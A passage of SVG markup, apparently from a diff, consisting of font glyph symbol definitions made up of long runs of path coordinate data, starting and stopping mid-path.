3.90625 -0.390625 L 4 -0.390625 L 4 -0.640625 C 4.019531 -0.679688 4.050781 -0.703125 4.09375 -0.703125 C 4.144531 -0.703125 4.171875 -0.671875 4.171875 -0.609375 L 4.171875 -0.390625 Z M 4.359375 -0.40625 C 4.398438 -0.382812 4.445312 -0.375 4.5 -0.375 C 4.613281 -0.375 4.671875 -0.421875 4.671875 -0.515625 C 4.671875 -0.566406 4.65625 -0.59375 4.625 -0.59375 C 4.601562 -0.601562 4.578125 -0.617188 4.546875 -0.640625 C 4.492188 -0.660156 4.46875 -0.675781 4.46875 -0.6875 C 4.46875 -0.707031 4.484375 -0.71875 4.515625 -0.71875 C 4.554688 -0.71875 4.597656 -0.707031 4.640625 -0.6875 L 4.671875 -0.78125 C 4.628906 -0.800781 4.578125 -0.8125 4.515625 -0.8125 C 4.421875 -0.8125 4.375 -0.765625 4.375 -0.671875 C 4.375 -0.617188 4.382812 -0.585938 4.40625 -0.578125 C 4.4375 -0.566406 4.460938 -0.554688 4.484375 -0.546875 C 4.535156 -0.546875 4.5625 -0.53125 4.5625 -0.5 C 4.5625 -0.476562 4.546875 -0.46875 4.515625 -0.46875 C 4.472656 -0.46875 4.429688 -0.476562 4.390625 -0.5 Z M 4.953125 -0.609375 C 4.953125 -0.410156 5.050781 -0.3125 5.25 -0.3125 C 5.445312 -0.3125 5.546875 -0.410156 5.546875 -0.609375 C 5.546875 -0.804688 5.445312 -0.90625 5.25 -0.90625 C 5.175781 -0.90625 5.109375 -0.878906 5.046875 -0.828125 C 4.984375 -0.773438 4.953125 -0.703125 4.953125 -0.609375 Z M 5.046875 -0.609375 C 5.046875 -0.765625 5.113281 -0.84375 5.25 -0.84375 C 5.382812 -0.84375 5.453125 -0.765625 5.453125 -0.609375 C 5.453125 -0.460938 5.382812 -0.390625 5.25 -0.390625 C 5.113281 -0.390625 5.046875 -0.460938 5.046875 -0.609375 Z M 5.34375 -0.5625 C 5.320312 -0.550781 5.300781 -0.546875 5.28125 -0.546875 C 5.238281 -0.546875 5.21875 -0.566406 5.21875 -0.609375 C 5.21875 -0.648438 5.238281 -0.671875 5.28125 -0.671875 L 5.328125 -0.671875 L 5.359375 -0.734375 C 5.316406 -0.753906 5.28125 -0.765625 5.25 -0.765625 C 5.164062 -0.765625 5.125 -0.710938 5.125 -0.609375 C 5.125 -0.503906 5.164062 -0.453125 5.25 -0.453125 C 5.300781 -0.453125 5.335938 -0.460938 5.359375 -0.484375 Z M 5.859375 -0.390625 L 5.96875 -0.390625 L 5.96875 -0.578125 L 6.03125 -0.578125 C 6.09375 -0.578125 6.144531 -0.585938 6.1875 -0.609375 C 6.238281 -0.628906 6.265625 -0.675781 6.265625 -0.75 C 6.265625 -0.820312 6.238281 -0.867188 6.1875 -0.890625 C 6.132812 -0.910156 6.078125 -0.921875 6.015625 -0.921875 L 5.859375 -0.921875 Z M 6.03125 -0.84375 C 6.101562 -0.84375 6.140625 -0.816406 6.140625 -0.765625 C 6.140625 -0.710938 6.128906 -0.679688 6.109375 -0.671875 C 6.085938 -0.671875 6.054688 -0.671875 6.015625 -0.671875 L 5.96875 -0.671875 L 5.96875 -0.84375 Z M 6.34375 -0.6875 C 6.375 -0.707031 6.414062 -0.71875 6.46875 -0.71875 C 6.519531 -0.71875 6.546875 -0.695312 6.546875 -0.65625 L 6.546875 -0.625 C 6.535156 -0.625 6.523438 -0.625 6.515625 -0.625 C 6.503906 -0.632812 6.488281 -0.640625 6.46875 -0.640625 C 6.34375 -0.640625 6.28125 -0.59375 6.28125 -0.5 C 6.28125 -0.414062 6.320312 -0.375 6.40625 -0.375 C 6.46875 -0.375 6.515625 -0.398438 6.546875 -0.453125 L 6.578125 -0.390625 L 6.65625 -0.390625 C 6.644531 -0.410156 6.640625 -0.445312 6.640625 -0.5 L 6.640625 -0.65625 C 6.640625 -0.757812 6.59375 -0.8125 6.5 -0.8125 C 6.457031 -0.8125 6.421875 -0.804688 6.390625 -0.796875 C 6.359375 -0.785156 6.332031 -0.773438 6.3125 -0.765625 Z M 6.453125 -0.46875 C 6.410156 -0.46875 6.390625 -0.488281 6.390625 -0.53125 C 6.390625 -0.570312 6.414062 -0.59375 6.46875 -0.59375 C 6.488281 -0.59375 6.503906 -0.585938 6.515625 -0.578125 C 6.523438 -0.578125 6.535156 -0.578125 6.546875 -0.578125 L 6.546875 -0.53125 C 6.523438 -0.488281 6.492188 -0.46875 6.453125 -0.46875 Z M 7.015625 -0.796875 C 7.003906 -0.804688 6.984375 -0.8125 6.953125 -0.8125 C 6.910156 -0.8125 6.878906 -0.785156 6.859375 -0.734375 L 6.84375 -0.796875 L 6.75 -0.796875 L 6.75 -0.390625 L 6.859375 -0.390625 L 6.859375 -0.640625 C 6.859375 -0.679688 6.890625 -0.703125 6.953125 -0.703125 L 6.96875 -0.703125 C 6.976562 -0.703125 6.984375 -0.695312 6.984375 -0.6875 C 6.984375 -0.6875 6.988281 -0.6875 7 -0.6875 Z M 7.09375 -0.6875 C 7.144531 -0.707031 7.1875 -0.71875 7.21875 -0.71875 C 7.269531 -0.71875 7.296875 -0.695312 7.296875 -0.65625 L 7.296875 -0.625 C 7.285156 -0.625 7.273438 -0.625 7.265625 -0.625 C 7.253906 -0.632812 7.238281 -0.640625 7.21875 -0.640625 C 7.09375 -0.640625 7.03125 -0.59375 7.03125 -0.5 C 7.03125 -0.414062 7.070312 -0.375 7.15625 -0.375 C 7.226562 -0.375 7.273438 -0.398438 7.296875 -0.453125 L 7.3125 -0.453125 L 7.328125 -0.390625 L 7.40625 -0.390625 C 7.394531 -0.410156 7.390625 -0.445312 7.390625 -0.5 L 7.390625 -0.65625 C 7.390625 -0.757812 7.34375 -0.8125 7.25 -0.8125 C 7.207031 -0.8125 7.171875 -0.804688 7.140625 -0.796875 C 7.109375 -0.785156 7.085938 -0.773438 7.078125 -0.765625 Z M 7.203125 -0.46875 C 7.160156 -0.46875 7.140625 -0.488281 7.140625 -0.53125 C 7.140625 -0.570312 7.164062 -0.59375 7.21875 -0.59375 C 7.238281 -0.59375 7.253906 -0.585938 7.265625 -0.578125 C 7.273438 -0.578125 7.285156 -0.578125 7.296875 -0.578125 L 7.296875 -0.53125 C 7.273438 -0.488281 7.242188 -0.46875 7.203125 -0.46875 Z M 7.8125 -0.921875 L 7.359375 -0.921875 L 7.359375 -0.84375 L 7.53125 -0.84375 L 7.53125 -0.390625 L 7.640625 -0.390625 L 7.640625 -0.84375 L 7.8125 -0.84375 Z M 7.9375 -0.796875 L 7.8125 -0.796875 L 8 -0.390625 C 7.988281 -0.347656 7.960938 -0.328125 7.921875 -0.328125 L 7.90625 -0.34375 L 7.875 -0.25 C 7.894531 -0.238281 7.921875 -0.234375 7.953125 -0.234375 C 8.003906 -0.234375 8.050781 -0.296875 8.09375 -0.421875 L 8.25 -0.796875 L 8.125 -0.796875 L 8.0625 -0.578125 L 8.0625 -0.5 L 8.046875 -0.5 L 8.03125 -0.578125 Z M 8.296875 -0.234375 L 8.40625 -0.234375 L 8.40625 -0.40625 C 8.414062 -0.382812 8.441406 -0.375 8.484375 -0.375 C 8.617188 -0.375 8.6875 -0.445312 8.6875 -0.59375 C 8.6875 -0.738281 8.632812 -0.8125 8.53125 -0.8125 C 8.476562 -0.8125 8.429688 -0.789062 8.390625 -0.75 L 8.375 -0.75 L 8.359375 -0.796875 L 8.296875 -0.796875 Z M 8.5 -0.71875 C 8.539062 -0.71875 8.5625 -0.675781 8.5625 -0.59375 C 8.5625 -0.507812 8.53125 -0.46875 8.46875 -0.46875 C 8.445312 -0.46875 8.425781 -0.476562 8.40625 -0.5 L 8.40625 -0.640625 C 8.40625 -0.691406 8.4375 -0.71875 8.5 -0.71875 Z M 9.0625 -0.5 C 9.039062 -0.476562 9.007812 -0.46875 8.96875 -0.46875 C 8.894531 -0.46875 8.851562 -0.5 8.84375 -0.5625 L 9.125 -0.5625 L 9.125 -0.640625 C 9.125 -0.703125 9.101562 -0.742188 9.0625 -0.765625 C 9.03125 -0.796875 8.992188 -0.8125 8.953125 -0.8125 C 8.816406 -0.8125 8.75 -0.738281 8.75 -0.59375 C 8.75 -0.445312 8.816406 -0.375 8.953125 -0.375 C 8.984375 -0.375 9.007812 -0.378906 9.03125 -0.390625 C 9.0625 -0.398438 9.085938 -0.410156 9.109375 -0.421875 Z M 8.953125 -0.71875 C 9.003906 -0.71875 9.023438 -0.6875 9.015625 -0.625 L 8.859375 -0.625 C 8.859375 -0.6875 8.890625 -0.71875 8.953125 -0.71875 Z M 8.953125 -0.71875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 1.046875 -7.328125 L 2.09375 -7.328125 L 2.09375 0 L 1.046875 0 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 5.484375 -2.53125 C 5.484375 -2.03125 5.488281 -1.578125 5.5 -1.171875 C 5.507812 -0.765625 5.546875 -0.363281 5.609375 0.03125 L 4.890625 0.03125 L 4.65625 -0.84375 L 4.59375 -0.84375 C 4.457031 -0.550781 4.238281 -0.304688 3.9375 -0.109375 C 3.644531 0.078125 3.296875 0.171875 2.890625 0.171875 C 2.097656 0.171875 1.507812 -0.132812 1.125 -0.75 C 0.738281 -1.363281 0.546875 -2.332031 0.546875 -3.65625 C 0.546875 -4.90625 0.78125 -5.851562 1.25 -6.5 C 1.726562 -7.144531 2.382812 -7.46875 3.21875 -7.46875 C 3.5 -7.46875 3.722656 -7.445312 3.890625 -7.40625 C 4.054688 -7.375 4.238281 -7.320312 4.4375 -7.25 L 4.4375 -10.265625 L 5.484375 -10.265625 Z M 4.4375 -6.171875 C 4.289062 -6.296875 4.132812 -6.382812 3.96875 -6.4375 C 3.800781 -6.488281 3.570312 -6.515625 3.28125 -6.515625 C 2.769531 -6.515625 2.367188 -6.28125 2.078125 -5.8125 C 1.785156 -5.34375 1.640625 -4.617188 1.640625 -3.640625 C 1.640625 -3.210938 1.664062 -2.820312 1.71875 -2.46875 C 1.769531 -2.125 1.851562 -1.820312 1.96875 -1.5625 C 2.082031 -1.3125 2.226562 -1.117188 2.40625 -0.984375 C 2.59375 -0.847656 2.816406 -0.78125 3.078125 -0.78125 C 3.785156 -0.78125 4.238281 -1.195312 4.4375 -2.03125 Z M 4.4375 -6.171875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.46875 C 4.625 -5.207031 4.535156 -5.738281 4.359375 -6.0625 C 4.191406 -6.394531 3.890625 -6.5625 3.453125 -6.5625 C 3.054688 -6.5625 2.726562 -6.441406 2.46875 -6.203125 C 2.21875 -5.972656 2.035156 -5.6875 1.921875 -5.34375 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.625 -7.328125 L 1.8125 -6.5625 L 1.859375 -6.5625 C 2.046875 -6.820312 2.296875 -7.046875 2.609375 -7.234375 C 2.929688 -7.421875 3.3125 -7.515625 3.75 -7.515625 C 4.0625 -7.515625 4.335938 -7.46875 4.578125 -7.375 C 4.816406 -7.289062 5.015625 -7.140625 5.171875 -6.921875 C 5.335938 -6.710938 5.460938 -6.429688 5.546875 -6.078125 C 5.628906 -5.734375 5.671875 -5.289062 5.671875 -4.75 L 5.671875 0 Z M 4.625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-4"> +<path style="stroke:none;" d="M 0.796875 -6.890625 C 1.078125 -7.066406 1.421875 -7.203125 1.828125 -7.296875 C 2.234375 -7.398438 2.660156 -7.453125 3.109375 -7.453125 C 3.523438 -7.453125 3.851562 -7.390625 4.09375 -7.265625 C 4.34375 -7.148438 4.539062 -6.984375 4.6875 -6.765625 C 4.832031 -6.554688 4.925781 -6.316406 4.96875 -6.046875 C 5.007812 -5.785156 5.03125 -5.503906 5.03125 -5.203125 C 5.03125 -4.617188 5.015625 -4.046875 4.984375 -3.484375 C 4.960938 -2.929688 4.953125 -2.40625 4.953125 -1.90625 C 4.953125 -1.53125 4.960938 -1.179688 4.984375 -0.859375 C 5.015625 -0.546875 5.066406 -0.25 5.140625 0.03125 L 4.328125 0.03125 L 4.078125 -0.84375 L 4.015625 -0.84375 C 3.867188 -0.582031 3.65625 -0.359375 3.375 -0.171875 C 3.09375 0.015625 2.710938 0.109375 2.234375 0.109375 C 1.703125 0.109375 1.265625 -0.0703125 0.921875 -0.4375 C 0.585938 -0.8125 0.421875 -1.320312 0.421875 -1.96875 C 0.421875 -2.382812 0.488281 -2.734375 0.625 -3.015625 C 0.769531 -3.304688 0.972656 -3.535156 1.234375 -3.703125 C 1.492188 -3.878906 1.800781 -4.003906 2.15625 -4.078125 C 2.519531 -4.160156 2.921875 -4.203125 3.359375 -4.203125 C 3.453125 -4.203125 3.546875 -4.203125 3.640625 -4.203125 C 3.742188 -4.203125 3.851562 -4.195312 3.96875 -4.1875 C 3.988281 -4.488281 4 -4.753906 4 -4.984375 C 4 -5.546875 3.914062 -5.9375 3.75 -6.15625 C 3.582031 -6.382812 3.28125 -6.5 2.84375 -6.5 C 2.570312 -6.5 2.273438 -6.457031 1.953125 -6.375 C 1.628906 -6.289062 1.359375 -6.1875 1.140625 -6.0625 Z M 3.96875 -3.34375 C 3.875 -3.351562 3.773438 -3.359375 3.671875 -3.359375 C 3.578125 -3.367188 3.484375 -3.375 3.390625 -3.375 C 3.148438 -3.375 2.914062 -3.351562 2.6875 -3.3125 C 2.46875 -3.269531 2.269531 -3.203125 2.09375 -3.109375 C 1.914062 -3.015625 1.773438 -2.882812 1.671875 -2.71875 C 1.578125 -2.550781 1.53125 -2.335938 1.53125 -2.078125 C 1.53125 -1.691406 1.625 -1.390625 1.8125 -1.171875 C 2 -0.953125 2.242188 -0.84375 2.546875 -0.84375 C 2.960938 -0.84375 3.28125 -0.941406 3.5 -1.140625 C 3.726562 -1.335938 3.882812 -1.554688 3.96875 -1.796875 Z M 3.96875 -3.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-5"> +<path style="stroke:none;" d="M 4.296875 0 L 4.296875 -4.359375 C 4.296875 -4.742188 4.28125 -5.078125 4.25 -5.359375 C 4.226562 -5.640625 4.175781 -5.867188 4.09375 -6.046875 C 4.019531 -6.222656 3.914062 -6.351562 3.78125 -6.4375 C 3.644531 -6.519531 3.46875 -6.5625 3.25 -6.5625 C 2.914062 -6.5625 2.628906 -6.429688 2.390625 -6.171875 C 2.160156 -5.910156 2.003906 -5.613281 1.921875 -5.28125 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 2.050781 -6.84375 2.296875 -7.070312 2.578125 -7.25 C 2.859375 -7.425781 3.222656 -7.515625 3.671875 -7.515625 C 4.035156 -7.515625 4.335938 -7.429688 4.578125 -7.265625 C 4.816406 -7.109375 5.007812 -6.820312 5.15625 -6.40625 C 5.320312 -6.75 5.566406 -7.019531 5.890625 -7.21875 C 6.222656 -7.414062 6.585938 -7.515625 6.984375 -7.515625 C 7.304688 -7.515625 7.582031 -7.472656 7.8125 -7.390625 C 8.039062 -7.304688 8.222656 -7.15625 8.359375 -6.9375 C 8.503906 -6.726562 8.609375 -6.453125 8.671875 -6.109375 C 8.742188 -5.765625 8.78125 -5.328125 8.78125 -4.796875 L 8.78125 0 L 7.734375 0 L 7.734375 -4.671875 C 7.734375 -5.304688 7.671875 -5.78125 7.546875 -6.09375 C 7.421875 -6.40625 7.140625 -6.5625 6.703125 -6.5625 C 6.328125 -6.5625 6.03125 -6.445312 5.8125 -6.21875 C 5.59375 -5.988281 5.441406 -5.675781 5.359375 -5.28125 L 5.359375 0 Z M 4.296875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-6"> +<path style="stroke:none;" d="M 5.25 -0.5 C 5.019531 -0.28125 4.722656 -0.113281 4.359375 0 C 3.992188 0.113281 3.613281 0.171875 3.21875 0.171875 C 2.757812 0.171875 2.359375 0.0820312 2.015625 -0.09375 C 1.679688 -0.269531 1.398438 -0.523438 1.171875 -0.859375 C 0.953125 -1.203125 0.789062 -1.609375 0.6875 -2.078125 C 0.59375 -2.546875 0.546875 -3.078125 0.546875 -3.671875 C 0.546875 -4.921875 0.773438 -5.875 1.234375 -6.53125 C 1.691406 -7.1875 2.34375 -7.515625 3.1875 -7.515625 C 3.457031 -7.515625 3.726562 -7.476562 4 -7.40625 C 4.269531 -7.34375 4.507812 -7.207031 4.71875 -7 C 4.9375 -6.789062 5.109375 -6.5 5.234375 -6.125 C 5.367188 -5.757812 5.4375 -5.28125 5.4375 -4.6875 C 5.4375 -4.519531 5.429688 -4.335938 5.421875 -4.140625 C 5.410156 -3.953125 5.394531 -3.753906 5.375 -3.546875 L 1.640625 -3.546875 C 1.640625 -3.128906 1.671875 -2.75 1.734375 -2.40625 C 1.804688 -2.0625 1.914062 -1.769531 2.0625 -1.53125 C 2.207031 -1.289062 2.394531 -1.101562 2.625 -0.96875 C 2.863281 -0.84375 3.148438 -0.78125 3.484375 -0.78125 C 3.753906 -0.78125 4.019531 -0.828125 4.28125 -0.921875 C 4.539062 -1.023438 4.738281 -1.144531 4.875 -1.28125 Z M 4.4375 -4.4375 C 4.445312 -5.164062 4.335938 -5.703125 4.109375 -6.046875 C 3.890625 -6.390625 3.585938 -6.5625 3.203125 -6.5625 C 2.753906 -6.5625 2.394531 -6.390625 2.125 -6.046875 C 1.863281 -5.703125 1.707031 -5.164062 1.65625 -4.4375 Z M 4.4375 -4.4375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-7"> +<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.78125 -6.546875 L 1.828125 -6.546875 C 2.191406 -7.191406 2.757812 -7.515625 3.53125 -7.515625 C 4.300781 -7.515625 4.878906 -7.222656 5.265625 -6.640625 C 5.660156 -6.066406 5.859375 -5.125 5.859375 -3.8125 C 5.859375 -3.195312 5.789062 -2.640625 5.65625 -2.140625 C 5.53125 -1.648438 5.347656 -1.226562 5.109375 -0.875 C 4.878906 -0.53125 4.59375 -0.269531 4.25 -0.09375 C 3.914062 0.0820312 3.546875 0.171875 3.140625 0.171875 C 2.859375 0.171875 2.632812 0.15625 2.46875 0.125 C 2.300781 0.09375 2.117188 0.0195312 1.921875 -0.09375 L 1.921875 2.9375 L 0.859375 2.9375 Z M 1.921875 -1.15625 C 2.054688 -1.039062 2.207031 -0.945312 2.375 -0.875 C 2.550781 -0.8125 2.78125 -0.78125 3.0625 -0.78125 C 3.582031 -0.78125 3.992188 -1.039062 4.296875 -1.5625 C 4.597656 -2.09375 4.75 -2.847656 4.75 -3.828125 C 4.75 -4.242188 4.722656 -4.613281 4.671875 -4.9375 C 4.617188 -5.269531 4.53125 -5.554688 4.40625 -5.796875 C 4.289062 -6.035156 4.144531 -6.222656 3.96875 -6.359375 C 3.789062 -6.492188 3.566406 -6.5625 3.296875 -6.5625 C 2.585938 -6.5625 2.128906 -6.125 1.921875 -5.25 Z M 1.921875 -1.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-8"> +<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 1.976562 -6.84375 2.15625 -7.0625 2.375 -7.21875 C 2.601562 -7.382812 2.875 -7.46875 3.1875 -7.46875 C 3.40625 -7.46875 3.660156 -7.421875 3.953125 -7.328125 L 3.734375 -6.265625 C 3.484375 -6.347656 3.257812 -6.390625 3.0625 -6.390625 C 2.75 -6.390625 2.492188 -6.300781 2.296875 -6.125 C 2.109375 -5.945312 1.984375 -5.707031 1.921875 -5.40625 L 1.921875 0 L 0.859375 0 Z M 0.859375 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-9"> +<path style="stroke:none;" d="M 4.921875 -0.359375 C 4.671875 -0.179688 4.390625 -0.0507812 4.078125 0.03125 C 3.765625 0.125 3.4375 0.171875 3.09375 0.171875 C 2.625 0.171875 2.226562 0.0820312 1.90625 -0.09375 C 1.582031 -0.269531 1.320312 -0.523438 1.125 -0.859375 C 0.925781 -1.203125 0.78125 -1.609375 0.6875 -2.078125 C 0.59375 -2.554688 0.546875 -3.085938 0.546875 -3.671875 C 0.546875 -4.921875 0.765625 -5.875 1.203125 -6.53125 C 1.648438 -7.1875 2.289062 -7.515625 3.125 -7.515625 C 3.507812 -7.515625 3.835938 -7.476562 4.109375 -7.40625 C 4.378906 -7.34375 4.613281 -7.253906 4.8125 -7.140625 L 4.515625 -6.21875 C 4.128906 -6.445312 3.707031 -6.5625 3.25 -6.5625 C 2.71875 -6.5625 2.316406 -6.328125 2.046875 -5.859375 C 1.773438 -5.398438 1.640625 -4.671875 1.640625 -3.671875 C 1.640625 -3.265625 1.664062 -2.882812 1.71875 -2.53125 C 1.78125 -2.1875 1.878906 -1.882812 2.015625 -1.625 C 2.160156 -1.363281 2.335938 -1.15625 2.546875 -1 C 2.765625 -0.851562 3.035156 -0.78125 3.359375 -0.78125 C 3.609375 -0.78125 3.84375 -0.820312 4.0625 -0.90625 C 4.289062 -1 4.472656 -1.101562 4.609375 -1.21875 Z M 4.921875 -0.359375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-10"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-11"> +<path style="stroke:none;" d="M 0.75 -1.203125 C 0.945312 -1.085938 1.175781 -0.988281 1.4375 -0.90625 C 1.707031 -0.820312 1.988281 -0.78125 2.28125 -0.78125 C 2.601562 -0.78125 2.875 -0.859375 3.09375 -1.015625 C 3.320312 -1.179688 3.4375 -1.441406 3.4375 -1.796875 C 3.4375 -2.109375 3.363281 -2.359375 3.21875 -2.546875 C 3.082031 -2.742188 2.910156 -2.921875 2.703125 -3.078125 C 2.492188 -3.234375 2.265625 -3.378906 2.015625 -3.515625 C 1.773438 -3.648438 1.550781 -3.804688 1.34375 -3.984375 C 1.132812 -4.171875 0.957031 -4.390625 0.8125 -4.640625 C 0.675781 -4.898438 0.609375 -5.226562 0.609375 -5.625 C 0.609375 -6.25 0.773438 -6.71875 1.109375 -7.03125 C 1.453125 -7.351562 1.929688 -7.515625 2.546875 -7.515625 C 2.953125 -7.515625 3.300781 -7.476562 3.59375 -7.40625 C 3.882812 -7.332031 4.140625 -7.226562 4.359375 -7.09375 L 4.078125 -6.21875 C 3.890625 -6.320312 3.671875 -6.40625 3.421875 -6.46875 C 3.179688 -6.53125 2.9375 -6.5625 2.6875 -6.5625 C 2.332031 -6.5625 2.070312 -6.488281 1.90625 -6.34375 C 1.75 -6.195312 1.671875 -5.96875 1.671875 -5.65625 C 1.671875 -5.40625 1.738281 -5.191406 1.875 -5.015625 C 2.007812 -4.847656 2.179688 -4.691406 2.390625 -4.546875 C 2.609375 -4.410156 2.835938 -4.269531 3.078125 -4.125 C 3.328125 -3.976562 3.554688 -3.800781 3.765625 -3.59375 C 3.972656 -3.394531 4.144531 -3.15625 4.28125 -2.875 C 4.414062 -2.601562 4.484375 -2.253906 4.484375 -1.828125 C 4.484375 -1.554688 4.4375 -1.296875 4.34375 -1.046875 C 4.257812 -0.804688 4.128906 -0.59375 3.953125 -0.40625 C 3.773438 -0.226562 3.550781 -0.0859375 3.28125 0.015625 C 3.007812 0.117188 2.691406 0.171875 2.328125 0.171875 C 1.898438 0.171875 1.53125 0.128906 1.21875 0.046875 C 0.90625 -0.0351562 0.640625 -0.144531 0.421875 -0.28125 Z M 0.75 -1.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-12"> +<path style="stroke:none;" d="M 0.125 -7.328125 L 1.03125 -7.328125 L 1.03125 -8.78125 L 2.078125 -9.125 L 2.078125 -7.328125 L 3.671875 -7.328125 L 3.671875 -6.375 L 2.078125 -6.375 L 2.078125 -2.015625 C 2.078125 -1.578125 2.128906 -1.265625 2.234375 -1.078125 C 2.335938 -0.890625 2.507812 -0.796875 2.75 -0.796875 C 2.9375 -0.796875 3.101562 -0.816406 3.25 -0.859375 C 3.394531 -0.898438 3.550781 -0.957031 3.71875 -1.03125 L 3.921875 -0.1875 C 3.703125 -0.0820312 3.460938 0 3.203125 0.0625 C 2.941406 0.125 2.671875 0.15625 2.390625 0.15625 C 1.898438 0.15625 1.550781 0 1.34375 -0.3125 C 1.132812 -0.632812 1.03125 -1.148438 1.03125 -1.859375 L 1.03125 -6.375 L 0.125 -6.375 Z M 0.125 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-13"> +<path style="stroke:none;" d="M 0.546875 -3.671875 C 0.546875 -4.992188 0.769531 -5.960938 1.21875 -6.578125 C 1.675781 -7.203125 2.328125 -7.515625 3.171875 -7.515625 C 4.066406 -7.515625 4.726562 -7.195312 5.15625 -6.5625 C 5.582031 -5.925781 5.796875 -4.960938 5.796875 -3.671875 C 5.796875 -2.335938 5.566406 -1.363281 5.109375 -0.75 C 4.648438 -0.132812 4.003906 0.171875 3.171875 0.171875 C 2.265625 0.171875 1.597656 -0.144531 1.171875 -0.78125 C 0.753906 -1.414062 0.546875 -2.378906 0.546875 -3.671875 Z M 1.640625 -3.671875 C 1.640625 -3.234375 1.664062 -2.835938 1.71875 -2.484375 C 1.769531 -2.140625 1.859375 -1.835938 1.984375 -1.578125 C 2.109375 -1.328125 2.269531 -1.128906 2.46875 -0.984375 C 2.664062 -0.847656 2.898438 -0.78125 3.171875 -0.78125 C 3.679688 -0.78125 4.0625 -1.003906 4.3125 -1.453125 C 4.5625 -1.910156 4.6875 -2.648438 4.6875 -3.671875 C 4.6875 -4.085938 4.660156 -4.472656 4.609375 -4.828125 C 4.554688 -5.191406 4.46875 -5.5 4.34375 -5.75 C 4.226562 -6.007812 4.070312 -6.207031 3.875 -6.34375 C 3.675781 -6.488281 3.441406 -6.5625 3.171875 -6.5625 C 2.671875 -6.5625 2.289062 -6.328125 2.03125 -5.859375 C 1.769531 -5.398438 1.640625 -4.671875 1.640625 -3.671875 Z M 1.640625 -3.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-14"> +<path style="stroke:none;" d="M 5.484375 0.34375 C 5.484375 1.289062 5.269531 1.988281 4.84375 2.4375 C 4.425781 2.882812 3.816406 3.109375 3.015625 3.109375 C 2.523438 3.109375 2.125 3.066406 1.8125 2.984375 C 1.5 2.898438 1.25 2.804688 1.0625 2.703125 L 1.359375 1.796875 C 1.554688 1.878906 1.769531 1.957031 2 2.03125 C 2.238281 2.113281 2.53125 2.15625 2.875 2.15625 C 3.46875 2.15625 3.875 1.988281 4.09375 1.65625 C 4.320312 1.320312 4.4375 0.765625 4.4375 -0.015625 L 4.4375 -0.5625 L 4.390625 -0.5625 C 4.234375 -0.332031 4.03125 -0.15625 3.78125 -0.03125 C 3.539062 0.09375 3.226562 0.15625 2.84375 0.15625 C 2.050781 0.15625 1.46875 -0.144531 1.09375 -0.75 C 0.726562 -1.363281 0.546875 -2.328125 0.546875 -3.640625 C 0.546875 -4.898438 0.785156 -5.851562 1.265625 -6.5 C 1.753906 -7.144531 2.472656 -7.46875 3.421875 -7.46875 C 3.878906 -7.46875 4.273438 -7.421875 4.609375 -7.328125 C 4.941406 -7.242188 5.234375 -7.144531 5.484375 -7.03125 Z M 4.4375 -6.28125 C 4.132812 -6.4375 3.753906 -6.515625 3.296875 -6.515625 C 2.796875 -6.515625 2.394531 -6.285156 2.09375 -5.828125 C 1.789062 -5.378906 1.640625 -4.65625 1.640625 -3.65625 C 1.640625 -3.238281 1.664062 -2.859375 1.71875 -2.515625 C 1.769531 -2.171875 1.851562 -1.867188 1.96875 -1.609375 C 2.082031 -1.347656 2.226562 -1.144531 2.40625 -1 C 2.59375 -0.863281 2.816406 -0.796875 3.078125 -0.796875 C 3.453125 -0.796875 3.742188 -0.890625 3.953125 -1.078125 C 4.171875 -1.273438 4.332031 -1.570312 4.4375 -1.96875 Z M 4.4375 -6.28125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-15"> +<path style="stroke:none;" d="M 2.6875 -2.59375 L 3 -1.171875 L 3.0625 -1.171875 L 3.28125 -2.59375 L 4.40625 -7.328125 L 5.46875 -7.328125 L 3.734375 -0.75 C 3.585938 -0.21875 3.445312 0.273438 3.3125 0.734375 C 3.175781 1.191406 3.023438 1.585938 2.859375 1.921875 C 2.703125 2.265625 2.523438 2.53125 2.328125 2.71875 C 2.128906 2.90625 1.890625 3 1.609375 3 C 1.335938 3 1.097656 2.957031 0.890625 2.875 L 1.078125 1.875 C 1.210938 1.925781 1.347656 1.9375 1.484375 1.90625 C 1.617188 1.875 1.742188 1.789062 1.859375 1.65625 C 1.984375 1.519531 2.097656 1.316406 2.203125 1.046875 C 2.304688 0.773438 2.398438 0.425781 2.484375 0 L 0.109375 -7.328125 L 1.3125 -7.328125 Z M 2.6875 -2.59375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-16"> +<path style="stroke:none;" d="M 0 2.046875 L 4.90625 2.046875 L 4.90625 3 L 0 3 Z M 0 2.046875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-17"> +<path style="stroke:none;" d="M 1.375 -0.984375 L 3.03125 -0.984375 L 3.03125 -8.125 L 3.171875 